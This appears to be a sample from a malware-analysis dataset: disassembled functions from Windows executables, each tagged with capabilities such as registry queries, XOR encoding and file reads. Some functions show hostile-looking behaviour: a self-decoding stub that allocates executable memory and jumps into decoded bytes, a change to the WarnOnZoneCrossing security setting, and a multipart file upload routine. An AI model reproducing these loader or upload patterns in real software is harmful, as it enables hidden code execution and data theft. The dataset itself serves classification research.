joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2e014de1
Capabilities:
Query or enumerate registry value

Disassembly:
push 0xc
mov eax, 0x2e03078d
call fcn.2e001511
lea eax, [ebp - 0x10]
xor ebx, ebx
push eax
push dword [ebp + 8]
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x2e014e1b
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x2e014e81
lea eax, [ebp - 0x14]
mov edi, 0x2e033941
push eax
push ebx
push edi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
test eax, eax
jne 0x2e014e78
mov eax, dword [ebp - 0x14]
test eax, eax
js 0x2e014e78
inc eax
push eax
call fcn.2e015f52
mov esi, eax
pop ecx
mov dword [ebp - 0x18], esi
lea eax, [ebp - 0x14]
mov dword [ebp - 4], ebx
push eax
push esi
push ebx
push ebx
push edi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e014e6a
mov ecx, dword [ebp + 0xc]
push esi
call fcn.2e010e6c
mov bl, 1
or dword [ebp - 4], 0xffffffff
push 1
push esi
call fcn.2e015f52
pop ecx
pop ecx
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
call fcn.2e00155b
ret 8

Function at 0x2e015f52
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x2e015f61
pop dword [ebp - 8]
mov eax, 0x83794771
sub eax, 0x5577e810
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x62e46d89
sub dword [ebp - 0x18], 0x1492283e
mov dword [ebp - 0x14], 0xa133870c
add dword [ebp - 0x14], 0x90ffc539
mov dword [ebp - 0x10], 0xe1b829a4
sub dword [ebp - 0x10], 0x956be576
mov dword [ebp - 0xc], 0x90dd37c9
add dword [ebp - 0xc], 0x6f22c837
lea eax, [ebp - 0x18]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0xf7d8262a
sub dword [ebp - 0x18], 0x8365bcd4
mov dword [ebp - 0x14], 0xe37753d8
add dword [ebp - 0x14], 0x5df50d9d
mov dword [ebp - 0x10], 0xab61a1c7
add dword [ebp - 0x10], 0xb80dcaa5
mov dword [ebp - 0xc], 0xcd8606de
add dword [ebp - 0xc], 0x3279f922
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0x1bff4975
sub eax, 0xedfc18b9
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x3dcdf
push 0
call eax
mov ecx, 0x3ad3
xor ebx, ebx
add ebx, eax
mov esi, 0x943a30e0
add esi, 0x99cb4d20
add esi, dword [ebp - 8]
mov edi, 0x10b5493d
xor dword [ebp - 4], 0xfc053c7a
mov edx, dword [esi]
sub dword [ebp - 4], 0x51e166c
xor edx, edi
mov dword [ebp - 4], 0xec1ed665
mov dword [ebx], edx
add dword [ebp - 4], edx
add ebx, 0x7756cbf3
add ebx, 0x88a93411
add esi, 0x513c21af
sub esi, 0x513c21ab
loop 0x2e016074
add eax, 0xde1f
mov ebx, eax
add eax, 0xd42ffe80
sub eax, 0xd42ffe7b
mov ecx, 0x2e000000
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x2e01e565
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x30
mov eax, 0x2e030a97
call fcn.2e02e6de
lea eax, [ebp - 0x2c]
xor ebx, ebx
push eax
push str.softwaremicrosoftwindows_shell_associationsurlassociationshttpuserchoice
push 0x80000001
mov edi, ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x2e01e683
lea eax, [ebp - 0x30]
push eax
push ebx
push ebx
push ebx
push str.progid
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e01e67a
mov eax, dword [ebp - 0x30]
inc eax
push eax
call fcn.2e015f52
mov esi, eax
pop ecx
mov dword [ebp - 0x3c], esi
lea eax, [ebp - 0x30]
mov dword [ebp - 4], ebx
push eax
push esi
push ebx
push ebx
push str.progid
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
xor ecx, ecx
inc ecx
test eax, eax
jne 0x2e01e66d
push esi
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], bl
call fcn.2e010e6c
push str.IE.HTTP
lea ecx, [ebp - 0x28]
call fcn.2e015f52
test al, al
jne 0x2e01e620
push ebx
push str.AppX
lea ecx, [ebp - 0x28]
call fcn.2e015f52
push 1
test eax, eax
pop edx
cmove edi, edx
jmp 0x2e01e623
xor edx, edx
inc edx
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x2e01e65d
mov ecx, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], ecx
mov byte [ebp - 4], dl
cmp eax, 0x1000
jb 0x2e01e654
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.2e015f52
mov eax, dword [ebp - 0x34]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x38]
push eax
push ecx
call fcn.2e015f52
pop ecx
pop ecx
xor ecx, ecx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0xf
inc ecx
mov byte [ebp - 0x28], bl
or dword [ebp - 4], 0xffffffff
push ecx
push esi
call fcn.2e015f52
pop ecx
pop ecx
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ax, di
call fcn.2e02e6bc
ret
Function at 0x401d68
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401da7
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401da7
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401da7
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401da7
cmp dword [ecx + 0x74], 0xe
jbe 0x401da7
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x4079b1
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
mov eax, 0x44a0eb
call fcn.00438c74
sub esp, 0x1c
mov eax, dword [0x463928]
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x14]
push eax
push 0x2001f
xor ebx, ebx
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_Settings
push SysReAllocString
mov dword [ebp - 4], ebx
mov dword [ebp - 0x14], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x407a87
push 4
pop edi
push edi
mov dword [ebp - 0x20], edi
call fcn.00439322
pop ecx
lea ecx, [ebp - 0x20]
push ecx
push eax
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x24]
push eax
push ebx
mov esi, str.WarnOnZoneCrossing
push esi
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x407a40
cmp dword [ebp - 0x24], edi
jne 0x407a5c
push edi
push dword [ebp - 0x1c]
lea eax, [ebp - 0x28]
push eax
call fcn.00438ca0
mov eax, dword [ebp - 0x28]
add esp, 0xc
mov dword [ebp - 0x18], eax
jmp 0x407a5c
xor eax, eax
inc eax
push edi
mov dword [0x463928], eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push eax
push edi
push ebx
push esi
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp + 8]
je 0x407a75
push edi
lea eax, [ebp + 8]
push eax
push edi
push ebx
push esi
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x1c]
call fcn.0043931d
pop ecx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x18]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret

Function at 0x408212
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push dword [ebp + 0x20]
sub eax, edi
push eax
lea eax, [esi + edi]
push eax
call fcn.004080bf
add esp, 0xc
cmp edi, dword [ebp + 0x10]
mov ecx, edi
jae 0x408255
xor edx, edx
mov eax, ecx
div dword [ebp + 0x18]
mov eax, dword [ebp + 0x14]
mov al, byte [edx + eax]
xor al, byte [ecx + esi]
xor al, byte [ebp + 0x1c]
mov byte [ecx + esi], al
inc ecx
cmp ecx, dword [ebp + 0x10]
jb 0x408239
pop edi
pop esi
pop ebp
ret
Function at 0x414569
Capabilities:
Set registry value

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
mov ebx, ecx
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
add esi, eax
add edi, eax
cmp eax, 1
jne 0x414574
push edi
push dword [esp + 0x18]
push 7
push 0
push dword [esp + 0x20]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
pop ebx
ret 8

Function at 0x415a2d
Capabilities:
Set current directory
Terminate process

Disassembly:
mov eax, 0x44a685
call fcn.00438c74
push ecx
mov eax, 0x1168
call fcn.00439ae0
mov eax, dword [0x45e56c]
push ebx
push esi
push edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], esp
call fcn.00431927
call fcn.00408259
test al, al
jne 0x415a79
push 0
push str.Fatal_Error
push str.Files_are_altered_
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 1
jmp 0x41695b
push 0x44c5be
push 0x4633b8
call fcn.004384c0
pop ecx
pop ecx
push 0x104
mov edi, 0x4637b8
push edi
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x5c
push edi
call fcn.00439d90
cmp eax, esi
pop ecx
pop ecx
jne 0x415abc
push esi
push str.Fatal_Error
push str.Invalid_access_rights_
jmp 0x415e33
push edi
mov byte [eax + 1], 0
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
jmp 0x415ad2
xchg edi, eax
fsub st(4)
xor byte [edi + 0x4de93f5], dl
cmp dword [esi + 4], edx
invalid
inc ebx
rcr dword [edi + 0x6a3eeaa5], cl
mov edi, 0x281e7b17
mov ah, 0xd1
dec edi
dec esp
push 0x7f5119e7
cli
aam 0x69
mov dword [esi + 0x150567f3], eax
test al, 0xdd
wait
invalid
loop 0x415e00
xor dword [ebx], ebx
pop ss
add ebx, ebp
xchg dword [ecx - 0x1170d219], esi
pop esi
ja 0x415ebb
xor eax, 0x8f37d11f
or eax, 0x8f8e1072
mov ebx, 0x210bcf82
iretd
jbe 0x415f17
pop es
sbb eax, 0x74723902
rcr ebx, 0x47
mov cl, 0xf5
iretd
invalid
call fcn.0043a079
int3
Function at 0x4198ed
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x7b8]
sub esp, 0x838
mov eax, dword [0x45e56c]
push esi
mov dword [ebp + 0x7b4], eax
lea eax, [ebp - 0x50]
push eax
push 0x20019
push 0
mov esi, ecx
push dword [esi + 0x100]
mov dword [ebp - 0x60], 0x800
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4199df
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x6c]
push eax
push 0
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x4c]
push eax
push dword [ebp - 0x50]
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
jne 0x4199d6
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x5c], eax
inc eax
push edi
push eax
call fcn.00439322
pop ecx
mov edi, eax
lea eax, [ebp - 0x5c]
push eax
push edi
lea eax, [ebp - 0x58]
push eax
push 0
push str.cdgfilename
push dword [ebp - 0x50]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4199ce
cmp dword [ebp - 0x58], 1
jne 0x4199ce
push dword [esi + 0xfc]
call fcn.0043931d
and dword [esi + 0xfc], 0
push edi
call fcn.00438420
inc eax
push eax
call fcn.00439322
push edi
push eax
mov dword [esi + 0xfc], eax
call fcn.004384c0
add esp, 0x14
push edi
call fcn.0043931d
pop ecx
pop edi
push dword [ebp - 0x50]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esi + 0xfc]
mov ecx, dword [ebp + 0x7b4]
pop esi
call fcn.0043840c
add ebp, 0x7b8
leave
ret

Function at 0x41cd71
Capabilities:
Encode data using xor
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
test esi, esi
je 0x41cda4
push esi
call fcn.00438420
pop ecx
xor ecx, ecx
test eax, eax
jbe 0x41cd93
xor byte [ecx + esi], 0x2f
inc ecx
cmp ecx, eax
jb 0x41cd8a
push 0
lea ecx, [ebp - 4]
push ecx
push eax
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 4]
leave
ret
Function at 0x41eece
Capabilities:
Query or enumerate registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0xc0]
sub esp, 0x140
mov eax, dword [0x45e56c]
push edi
mov dword [ebp + 0xbc], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x6c]
push eax
xor edi, edi
push edi
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x48]
push eax
push dword [ebp + 0xc8]
mov dword [ebp - 0x5c], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
jne 0x41f025
mov eax, dword [ebp - 0x58]
push ebx
inc eax
push esi
push eax
mov dword [ebp - 0x4c], eax
call fcn.004384ab
mov ebx, eax
mov eax, dword [ebp - 0x58]
inc eax
push eax
push edi
push ebx
mov dword [ebp - 0x4c], eax
call fcn.00439b20
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
add esp, 0x10
lea eax, [ebp - 0x4c]
push eax
push ebx
lea eax, [ebp - 0x54]
push eax
push edi
push str.Publisher
push dword [ebp + 0xc8]
call esi
test eax, eax
jne 0x41f01c
cmp dword [ebp - 0x54], 1
jne 0x41f01c
push 0x44fbb8
push ebx
call fcn.00439e89
test eax, eax
pop ecx
pop ecx
jne 0x41f01c
mov eax, dword [ebp - 0x58]
inc eax
push eax
push edi
push ebx
mov dword [ebp - 0x4c], eax
call fcn.00439b20
add esp, 0xc
lea eax, [ebp - 0x4c]
push eax
push ebx
lea eax, [ebp - 0x54]
push eax
push edi
push str.GameID
push dword [ebp + 0xc8]
call esi
test eax, eax
jne 0x41f01c
cmp dword [ebp - 0x54], 4
jne 0x41f01c
push 4
lea eax, [ebp - 0x50]
push ebx
push eax
mov dword [ebp - 0x50], edi
call fcn.00438ca0
add esp, 0xc
cmp dword [ebp - 0x50], edi
jbe 0x41f01c
mov esi, dword [ebp + 0xd0]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0xc]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0xc]
cmp eax, dword [ebp - 0x50]
jne 0x41f01c
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x40]
push 4
mov dword [ebp - 0x60], eax
lea eax, [ebp - 0x60]
push eax
push 4
push edi
push str.BuildType
push dword [ebp + 0xc8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push ebx
call fcn.004383d6
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp + 0xbc]
pop edi
call fcn.0043840c
add ebp, 0xc0
leave
ret
Function at 0x42292e
Capabilities:
Delete file

Disassembly:
mov eax, 0x44aad7
call fcn.00438c74
push ecx
push ebx
push esi
mov esi, ecx
mov eax, dword [esi + 0xa054]
xor ebx, ebx
cmp eax, ebx
push edi
mov dword [ebp - 0x10], esp
mov dword [esi], 0x44ffc0
mov dword [ebp - 4], ebx
je 0x42295d
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
cmp dword [esi + 0x1c], ebx
je 0x4229a2
mov ecx, esi
call fcn.0042158e
mov edi, eax
cmp edi, ebx
je 0x422986
mov eax, dword [esi + 0x1c]
push dword [eax + 4]
push 0x4554a0
push edi
call fcn.00410cf1
mov eax, dword [edi]
push edi
call dword [eax + 8]
mov edi, dword [esi + 0x1c]
mov eax, dword [edi + 0xc]
cmp eax, ebx
je 0x422996
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [edi + 0xc], ebx
mov eax, dword [esi + 0x1c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
cmp dword [esi + 0x20], ebx
je 0x4229c6
push dword [esi + 0x2c]
push 0x455540
push dword [esi + 0x28]
call fcn.00410cf1
mov eax, dword [esi + 0x20]
mov dword [eax + 8], ebx
mov eax, dword [esi + 0x20]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esi + 0x24]
cmp eax, ebx
je 0x4229d3
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esi + 0x28]
cmp eax, ebx
je 0x4229e0
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
lea ecx, [esi + 0x30]
cmp dword [ecx], ebx
je 0x4229ec
call fcn.004205f7
mov eax, dword [esi + 0x34]
cmp eax, ebx
je 0x4229fa
push eax
invalid
invalid
Function at 0x423561
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x398]
sub esp, 0x418
mov eax, dword [0x45e56c]
push esi
mov esi, dword [ebp + 0x3ac]
push edi
xor edi, edi
cmp esi, edi
mov dword [ebp + 0x394], eax
mov byte [ebp - 0x6d], 0
je 0x42374c
push 0x5c
push esi
call fcn.00439d90
cmp eax, edi
pop ecx
pop ecx
jne 0x4235a3
mov dword [ebp - 0x78], esi
jmp 0x4235a7
inc eax
mov dword [ebp - 0x78], eax
push edi
push 0x80
push 3
push edi
push 1
push SysReAllocString
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x42374c
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x423744
cmp ebx, dword [ebp + 0x3b4]
ja 0x423744
push ebx
mov dword [ebp - 0x80], edi
call fcn.004384ab
pop ecx
push edi
lea ecx, [ebp - 0x80]
push ecx
push ebx
push eax
push esi
mov dword [ebp - 0x7c], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
push esi
setne byte [ebp + 0x3af]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [ebp + 0x3af], 0
je 0x423739
cmp dword [ebp - 0x80], ebx
jne 0x423739
cmp dword [ebp + 0x3b0], edi
jne 0x42363a
mov dword [ebp + 0x3ac], edi
jmp 0x42364c
push dword [ebp + 0x3b0]
call fcn.00438420
pop ecx
mov dword [ebp + 0x3ac], eax
push dword [ebp - 0x78]
call fcn.00438420
mov edi, eax
mov dword [esp], str._r_n___s___r_n
call fcn.00438420
add edi, eax
mov dword [esp], str.___s_r_nContent_Disposition:_form_data__name__s___filename__s__r_nContent_Type:_application_octet_stream_r_nContent_Length:__d_r_n_r_n
call fcn.00438420
mov esi, str.____________________kjasktiuasuidgkjgfasgdsigfyitgifguwe
push esi
add edi, eax
call fcn.00438420
push esi
add edi, eax
call fcn.00438420
add edi, eax
mov eax, dword [ebp + 0x3ac]
add eax, ebx
lea eax, [edi + eax - 0xa]
mov dword [ebp + 0x3ac], eax
add eax, 0x64
push eax
call fcn.004384ab
mov dword [ebp - 0x74], eax
mov eax, dword [ebp + 0x3b0]
add esp, 0x10
test eax, eax
jne 0x4236b7
mov eax, 0x44c5be
push ebx
push dword [ebp - 0x78]
push eax
push esi
push str.___s_r_nContent_Disposition:_form_data__name__s___filename__s__r_nContent_Type:_application_octet_stream_r_nContent_Length:__d_r_n_r_n
push dword [ebp - 0x74]
call fcn.0043951c
push dword [ebp - 0x74]
call fcn.00438420
mov edi, eax
add edi, dword [ebp - 0x74]
push ebx
push dword [ebp - 0x7c]
push edi
call fcn.00438ca0
push esi
push str._r_n___s___r_n
add edi, ebx
push edi
call fcn.0043951c
push esi
lea eax, [ebp - 0x6c]
push str.multipart_form_data__boundary_s_
push eax
call fcn.0043951c
add esp, 0x40
lea eax, [ebp - 0x6c]
push eax
push dword [ebp + 0x3ac]
push dword [ebp - 0x74]
push dword [ebp + 0x3a8]
push dword [ebp + 0x3a4]
push dword [ebp + 0x3a0]
call fcn.00423386
add esp, 0x18
test al, al
je 0x423730
mov byte [ebp - 0x6d], 1
push dword [ebp - 0x74]
call fcn.004383d6
pop ecx
push dword [ebp - 0x7c]
call fcn.004383d6
pop ecx
jmp 0x42374b
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
mov ecx, dword [ebp + 0x394]
mov al, byte [ebp - 0x6d]
pop edi
pop esi
call fcn.0043840c
add ebp, 0x398
leave
ret
Function at 0x427d52
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
push edi
push dword [esi + 0x154]
mov byte [ebp - 1], 0
call fcn.0043931d
xor edi, edi
cmp dword [ebp + 8], edi
pop ecx
mov dword [esi + 0x154], edi
mov dword [esi + 0x150], edi
mov dword [esi + 0x14c], edi
je 0x427ebe
push ebx
push edi
push 0x80
push 3
push edi
push 1
push SysReAllocString
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x427ebd
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
lea ecx, [esi + 4]
mov dword [ebp + 8], eax
mov eax, dword [ecx]
push ebx
call dword [eax + 8]
test al, al
je 0x427eb6
mov edx, dword [esi + 0x68]
sub edx, 0x40
lea ecx, [esi + 0x6c]
mov eax, dword [ecx]
push edx
push ebx
call dword [eax + 4]
test al, al
je 0x427eb6
lea ecx, [esi + 0x80]
mov eax, dword [ecx]
push ebx
call dword [eax + 8]
test al, al
je 0x427eb6
push dword [esi + 0x11c]
lea ecx, [esi + 0x120]
mov eax, dword [ecx]
push ebx
call dword [eax + 0x48]
test al, al
je 0x427eb6
lea eax, [esi + 0x120]
push eax
push dword [esi + 0x94]
lea edi, [esi + 0x134]
mov edx, dword [edi]
push ebx
mov ecx, edi
call dword [edx + 0xc]
test al, al
je 0x427eb6
mov eax, dword [edi]
push ebx
mov ecx, edi
call dword [eax + 0x14]
test al, al
je 0x427eb6
mov edi, dword [esi + 0x130]
jmp 0x427e55
mov eax, dword [edi]
push esi
push ebx
mov ecx, edi
call dword [eax + 4]
test al, al
je 0x427ec7
mov edi, dword [edi + 4]
test edi, edi
jne 0x427e45
push 1
push edi
push edi
push ebx
mov byte [ebp - 1], 0
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x427eb6
mov ecx, dword [ebp + 8]
sub ecx, eax
mov dword [esi + 0x14c], eax
mov dword [esi + 0x150], ecx
je 0x427eb2
push ecx
call fcn.00439322
and dword [ebp + 8], edi
pop ecx
push edi
lea ecx, [ebp + 8]
push ecx
push dword [esi + 0x150]
mov dword [esi + 0x154], eax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x427ec7
mov eax, dword [ebp + 8]
cmp eax, dword [esi + 0x150]
jne 0x427ec7
mov byte [ebp - 1], 1
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
mov al, byte [ebp - 1]
pop edi
pop esi
leave
ret 4
mov byte [ebp - 1], 0
jmp 0x427eb6

Function at 0x42827e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [ecx + 4], 0
jne 0x4282a5
push 0x45d360
lea ecx, [ebp - 0xc]
call fcn.0043939c
push 0x459d40
lea eax, [ebp - 0xc]
push eax
call fcn.00439351
push esi
xor esi, esi
cmp dword [ecx + 0x3cc], esi
jle 0x4282c7
mov eax, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
mov dl, byte [edi]
xor byte [eax], dl
inc edi
inc eax
inc esi
cmp esi, dword [ecx + 0x3cc]
jl 0x4282b7
pop edi
pop esi
leave
ret 8
Function at 0x42aa2e
Capabilities:
Query or enumerate registry key

Disassembly:
mov eax, 0x44ac06
call fcn.00438c74
sub esp, 0x17c
mov eax, dword [0x45e56c]
push ebx
push esi
xor ebx, ebx
push edi
lea ecx, [ebp - 0x140]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x12c], ebx
call fcn.0042d323
push str.SoftwareMicrosoftInternet_ExplorerInternetRegistryREGISTRYUSER
lea ecx, [ebp - 0x174]
mov dword [ebp - 4], 1
mov dword [ebp - 0x128], 0x104
mov dword [ebp - 0x118], ebx
call fcn.0042d369
lea eax, [ebp - 0x118]
push eax
push 0x20019
push ebx
lea ecx, [ebp - 0x174]
mov byte [ebp - 4], 2
call fcn.0042da9f
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x42abfa
lea eax, [ebp - 0x17c]
push eax
lea eax, [ebp - 0x180]
push eax
lea eax, [ebp - 0x15c]
push eax
lea eax, [ebp - 0x124]
push eax
lea eax, [ebp - 0x158]
push eax
lea eax, [ebp - 0x188]
push eax
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x160]
push eax
push ebx
lea eax, [ebp - 0x128]
push eax
lea eax, [ebp - 0x114]
push eax
push dword [ebp - 0x118]
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
jne 0x42abfa
mov eax, dword [ebp - 0x11c]
inc eax
push eax
mov dword [ebp - 0x120], eax
call fcn.00439322
pop ecx
lea ecx, [ebp - 0x174]
mov esi, eax
call fcn.0041fb1c
add eax, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0x124]
lea eax, [eax + ecx + 0xa]
push eax
call fcn.00439322
mov edi, eax
mov eax, dword [ebp - 0x11c]
pop ecx
inc eax
mov dword [ebp - 0x120], eax
lea eax, [ebp - 0x17c]
push eax
push ebx
push ebx
push ebx
lea eax, [ebp - 0x120]
push eax
push esi
push ebx
push dword [ebp - 0x118]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
cmp eax, ebx
jne 0x42abec
sub esp, 0x14
lea eax, [ebp - 0x174]
mov ecx, esp
mov dword [ebp - 0x184], esp
push eax
call fcn.0042d424
lea eax, [ebp - 0x154]
push eax
lea ecx, [ebp - 0x140]
call fcn.0042d4ad
lea ecx, [ebp - 0x154]
call fcn.0042d47f
push 0x44cf14
lea eax, [ebp - 0x154]
push eax
lea ecx, [ebp - 0x140]
call fcn.0042d58b
lea ecx, [ebp - 0x154]
call fcn.0042d47f
push esi
lea eax, [ebp - 0x154]
push eax
lea ecx, [ebp - 0x140]
call fcn.0042d58b
lea ecx, [ebp - 0x154]
call fcn.0042d47f
push esi
call fcn.0043931d
push edi
call fcn.0043931d
pop ecx
pop ecx
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x140]
push eax
call fcn.0042d424
lea ecx, [ebp - 0x174]
mov dword [ebp - 0x12c], 1
mov byte [ebp - 4], 1
call fcn.0042d47f
lea ecx, [ebp - 0x140]
mov byte [ebp - 4], bl
call fcn.0042d47f
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
call fcn.0043840c
pop edi
pop esi
pop ebx
leave
ret

Function at 0x42af1c
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
je 0x42af3b
push esi
call fcn.00438420
pop ecx
xor ecx, ecx
test eax, eax
jbe 0x42af3b
xor byte [ecx + esi], 8
inc ecx
cmp ecx, eax
jb 0x42af32
pop esi
ret